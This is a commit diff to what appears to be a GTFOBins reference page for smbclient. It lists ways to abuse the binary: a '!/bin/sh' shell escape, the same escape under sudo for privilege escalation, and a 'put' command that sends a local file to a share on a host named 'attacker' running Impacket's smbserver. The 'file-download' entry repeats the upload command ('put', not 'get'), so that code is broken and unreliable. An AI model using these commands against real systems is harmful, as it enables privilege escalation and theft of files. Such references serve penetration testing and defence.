Add smbclient upload and download

_gtfobins/smbclient.md

@@ -3,10 +3,18 @@ description: A valid SMB/CIFS server must be available.
 functions:
   shell:
     - code: |
-        smbclient \\ip\share
+        smbclient '\\attacker\share'
         !/bin/sh
+  file-upload:
+    - description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file.
+      code: |
+        smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
+  file-download:
+    - description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file.
+      code: |
+        smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
   sudo:
     - code: |
-        sudo smbclient \\ip\share
+        sudo smbclient '\\attacker\share'
         !/bin/sh
 ---